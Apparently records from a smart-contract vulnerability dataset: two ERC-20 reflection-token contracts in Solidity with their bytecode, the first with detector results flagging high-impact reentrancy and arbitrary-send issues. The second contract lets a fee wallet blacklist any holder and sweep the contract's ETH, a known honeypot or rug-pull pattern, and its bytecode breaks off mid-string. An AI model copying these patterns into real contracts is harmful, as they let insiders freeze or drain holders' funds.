uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f2578063c3c8cd8014610312578063c9567bf914610327578063d543dbeb1461033c578063dd62ed3e1461035c57600080fd5b8063715018a6146102655780638da5cb5b1461027a57806395d89b41146102a2578063a9059cbb146102d257600080fd5b8063273123b7116100dc578063273123b7146101d2578063313ce567146101f45780635932ead1146102105780636fc3eaec1461023057806370a082311461024557600080fd5b806306fdde0314610119578063095ea7b31461015c57806318160ddd1461018c57806323b872dd146101b257600080fd5b3661011457005b600080fd5b34801561012557600080fd5b50604080518082019091526008815267111bd9de88149d5b60c21b60208201525b60405161015391906119f0565b60405180910390f35b34801561016857600080fd5b5061017c610177366004611881565b6103a2565b6040519015158152602001610153565b34801561019857600080fd5b50683635c9adc5dea000005b604051908152602001610153565b3480156101be57600080fd5b5061017c6101cd366004611841565b6103b9565b3480156101de57600080fd5b506101f26101ed3660046117d1565b610422565b005b34801561020057600080fd5b5060405160098152602001610153565b34801561021c57600080fd5b506101f261022b366004611973565b610476565b34801561023c57600080fd5b506101f26104be565b34801561025157600080fd5b506101a46102603660046117d1565b6104eb565b34801561027157600080fd5b506101f261050d565b34801561028657600080fd5b506000546040516001600160a01b039091168152602001610153565b3480156102ae57600080fd5b50604080518082019091526007815266111bd9de949d5b60ca1b6020820152610146565b3480156102de57600080fd5b5061017c6102ed366004611881565b610581565b3480156102fe57600080fd5b506101f261030d3660046118ac565b61058e565b34801561031e57600080fd5b506101f2610632565b34801561033357600080fd5b506101f2610668565b34801561034857600080fd5b506101f26103573660046119ab565b610a2b565b34801561036857600080fd5b506101a4610377366004611809565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103af338484610afe565b5060015b92915050565b60006103c6848484610c22565b610418843361041385604051806060016040528060288152602001611bc1602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611034565b610afe565b5060019392505050565b6000546001600160a01b031633146104555760405162461bcd60e51b815260040161044c90611a43565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104a05760405162461bcd60e51b815260040161044c90611a43565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104de57600080fd5b476104e88161106e565b50565b6001600160a01b0381166000908152600260205260408120546103b3906110f3565b6000546001600160a01b031633146105375760405162461bcd60e51b815260040161044c90611a43565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103af338484610c22565b6000546001600160a01b031633146105b85760405162461bcd60e51b815260040161044c90611a43565b60005b815181101561062e576001600a60008484815181106105ea57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062681611b56565b9150506105bb565b5050565b600c546001600160a01b0316336001600160a01b03161461065257600080fd5b600061065d306104eb565b90506104e881611177565b6000546001600160a01b031633146106925760405162461bcd60e51b815260040161044c90611a43565b600f54600160a01b900460ff16156106ec5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044c565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107293082683635c9adc5dea00000610afe565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076257600080fd5b505afa158015610776573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079a91906117ed565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e257600080fd5b505afa1580156107f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081a91906117ed565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086257600080fd5b505af1158015610876573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089a91906117ed565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108ca816104eb565b6000806108df6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094257600080fd5b505af1158015610956573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061097b91906119c3565b5050600f80546722b1c8c1227a000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109f357600080fd5b505af1158015610a07573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062e919061198f565b6000546001600160a01b03163314610a555760405162461bcd60e51b815260040161044c90611a43565b60008111610aa55760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161044c565b610ac36064610abd683635c9adc5dea000008461131c565b9061139b565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044c565b6001600160a01b038216610bc15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c865760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044c565b6001600160a01b038216610ce85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044c565b60008111610d4a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044c565b6000546001600160a01b03848116911614801590610d7657506000546001600160a01b03838116911614155b15610fd757600f54600160b81b900460ff1615610e5d576001600160a01b0383163014801590610daf57506001600160a01b0382163014155b8015610dc95750600e546001600160a01b03848116911614155b8015610de35750600e546001600160a01b03838116911614155b15610e5d57600e546001600160a01b0316336001600160a01b03161480610e1d5750600f546001600160a01b0316336001600160a01b0316145b610e5d5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015260640161044c565b601054811115610e6c57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eae57506001600160a01b0382166000908152600a602052604090205460ff16155b610eb757600080fd5b600f546001600160a01b038481169116148015610ee25750600e546001600160a01b03838116911614155b8015610f0757506001600160a01b03821660009081526005602052604090205460ff16155b8015610f1c5750600f54600160b81b900460ff165b15610f6a576001600160a01b0382166000908152600b60205260409020544211610f4557600080fd5b610f5042603c611ae8565b6001600160a01b0383166000908152600b60205260409020555b6000610f75306104eb565b600f54909150600160a81b900460ff16158015610fa05750600f546001600160a01b03858116911614155b8015610fb55750600f54600160b01b900460ff165b15610fd557610fc381611177565b478015610fd357610fd34761106e565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101957506001600160a01b03831660009081526005602052604090205460ff165b15611022575060005b61102e848484846113dd565b50505050565b600081848411156110585760405162461bcd60e51b815260040161044c91906119f0565b5060006110658486611b3f565b95945050505050565b600c546001600160a01b03166108fc61108883600261139b565b6040518115909202916000818181858888f193505050501580156110b0573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110cb83600261139b565b6040518115909202916000818181858888f1935050505015801561062e573d6000803e3d6000fd5b600060065482111561115a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044c565b6000611164611409565b9050611170838261139b565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111cd57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122157600080fd5b505afa158015611235573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125991906117ed565b8160018151811061127a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112a09130911684610afe565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112d9908590600090869030904290600401611a78565b600060405180830381600087803b1580156112f357600080fd5b505af1158015611307573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261132b575060006103b3565b60006113378385611b20565b9050826113448583611b00565b146111705760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044c565b600061117083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061142c565b806113ea576113ea61145a565b6113f584848461147d565b8061102e5761102e6005600855600c600955565b6000806000611416611574565b9092509050611425828261139b565b9250505090565b6000818361144d5760405162461bcd60e51b815260040161044c91906119f0565b5060006110658486611b00565b60085415801561146a5750600954155b1561147157565b60006008819055600955565b60008060008060008061148f876115b6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114c19087611613565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114f09086611655565b6001600160a01b038916600090815260026020526040902055611512816116b4565b61151c84836116fe565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156191815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611590828261139b565b8210156115ad57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115d38a600854600954611722565b92509250925060006115e3611409565b905060008060006115f68e878787611771565b919e509c509a509598509396509194505050505091939550919395565b600061117083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611034565b6000806116628385611ae8565b9050838110156111705760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044c565b60006116be611409565b905060006116cc838361131c565b306000908152600260205260409020549091506116e99082611655565b30600090815260026020526040902055505050565b60065461170b9083611613565b60065560075461171b9082611655565b6007555050565b60008080806117366064610abd898961131c565b905060006117496064610abd8a8961131c565b905060006117618261175b8b86611613565b90611613565b9992985090965090945050505050565b6000808080611780888661131c565b9050600061178e888761131c565b9050600061179c888861131c565b905060006117ae8261175b8686611613565b939b939a50919850919650505050505050565b80356117cc81611b9d565b919050565b6000602082840312156117e2578081fd5b813561117081611b9d565b6000602082840312156117fe578081fd5b815161117081611b9d565b6000806040838503121561181b578081fd5b823561182681611b9d565b9150602083013561183681611b9d565b809150509250929050565b600080600060608486031215611855578081fd5b833561186081611b9d565b9250602084013561187081611b9d565b929592945050506040919091013590565b60008060408385031215611893578182fd5b823561189e81611b9d565b946020939093013593505050565b600060208083850312156118be578182fd5b823567ffffffffffffffff808211156118d5578384fd5b818501915085601f8301126118e8578384fd5b8135818111156118fa576118fa611b87565b8060051b604051601f19603f8301168101818110858211171561191f5761191f611b87565b604052828152858101935084860182860187018a101561193d578788fd5b8795505b8386101561196657611952816117c1565b855260019590950194938601938601611941565b5098975050505050505050565b600060208284031215611984578081fd5b813561117081611bb2565b6000602082840312156119a0578081fd5b815161117081611bb2565b6000602082840312156119bc578081fd5b5035919050565b6000806000606084860312156119d7578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a1c57858101830151858201604001528201611a00565b81811115611a2d5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ac75784516001600160a01b031683529383019391830191600101611aa2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611afb57611afb611b71565b500190565b600082611b1b57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b3a57611b3a611b71565b500290565b600082821015611b5157611b51611b71565b500390565b6000600019821415611b6a57611b6a611b71565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104e857600080fd5b80151581146104e857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220036b3424c4c89a352f290cdc4e2dc8199e7019f8939787f581b4298cca54983664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,658 |
0x4E3710EE7E829040E33Dc5BEaC117533Ed407Dd9
|
/**
*Submitted for verification at Etherscan.io on 2022-02-05
*/
//telegram blastoise_token
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract blastoise is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redis = 2;
uint256 private _tax = 10;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "blastoise";
string private constant _symbol = "blastoise";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _add1) {
_feeAddrWallet1 = _add1;
_rOwned[owner()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0),owner(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = _redis;
_feeAddr2 = _tax;
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if(contractTokenBalance > 0){
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 100000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
if( from == owner()){
_feeAddr2 = 0;
_feeAddr1 = 0;
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal ;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function blacklistBot(address _address) external {
require(_msgSender() == _feeAddrWallet1);
bots[_address] = true;
}
function removeFromBlacklist(address notbot) external {
require(_msgSender() == _feeAddrWallet1);
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b4114610119578063a9059cbb146102d8578063c3c8cd80146102f8578063c9567bf91461030d578063dd62ed3e1461032257600080fd5b80636fc3eaec1461026657806370a082311461027b578063715018a61461029b5780638da5cb5b146102b057600080fd5b806323b872dd116100dc57806323b872dd146101d55780632ab30838146101f5578063313ce5671461020a578063537df3b6146102265780635932ead11461024657600080fd5b806306fdde031461011957806308aad1f11461015a578063095ea7b31461017c57806318160ddd146101ac57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820182526009815268626c6173746f69736560b81b6020820152905161015191906112d8565b60405180910390f35b34801561016657600080fd5b5061017a610175366004611342565b610368565b005b34801561018857600080fd5b5061019c61019736600461135f565b6103ac565b6040519015158152602001610151565b3480156101b857600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610151565b3480156101e157600080fd5b5061019c6101f036600461138b565b6103c3565b34801561020157600080fd5b5061017a61042c565b34801561021657600080fd5b5060405160098152602001610151565b34801561023257600080fd5b5061017a610241366004611342565b610471565b34801561025257600080fd5b5061017a6102613660046113da565b6104b2565b34801561027257600080fd5b5061017a6104fa565b34801561028757600080fd5b506101c7610296366004611342565b610527565b3480156102a757600080fd5b5061017a610549565b3480156102bc57600080fd5b506000546040516001600160a01b039091168152602001610151565b3480156102e457600080fd5b5061019c6102f336600461135f565b6105bd565b34801561030457600080fd5b5061017a6105ca565b34801561031957600080fd5b5061017a610600565b34801561032e57600080fd5b506101c761033d3660046113f7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600e546001600160a01b0316336001600160a01b03161461038857600080fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b60006103b9338484610983565b5060015b92915050565b60006103d0848484610aa7565b610422843361041d856040518060600160405280602881526020016115db602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610bf9565b610983565b5060019392505050565b6000546001600160a01b0316331461045f5760405162461bcd60e51b815260040161045690611430565b60405180910390fd5b6b033b2e3c9fd0803ce8000000601155565b600e546001600160a01b0316336001600160a01b03161461049157600080fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104dc5760405162461bcd60e51b815260040161045690611430565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b03161461051a57600080fd5b4761052481610c33565b50565b6001600160a01b0381166000908152600260205260408120546103bd90610c6d565b6000546001600160a01b031633146105735760405162461bcd60e51b815260040161045690611430565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b9338484610aa7565b600e546001600160a01b0316336001600160a01b0316146105ea57600080fd5b60006105f530610527565b905061052481610cf1565b6000546001600160a01b0316331461062a5760405162461bcd60e51b815260040161045690611430565b601054600160a01b900460ff16156106845760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610456565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106c430826b033b2e3c9fd0803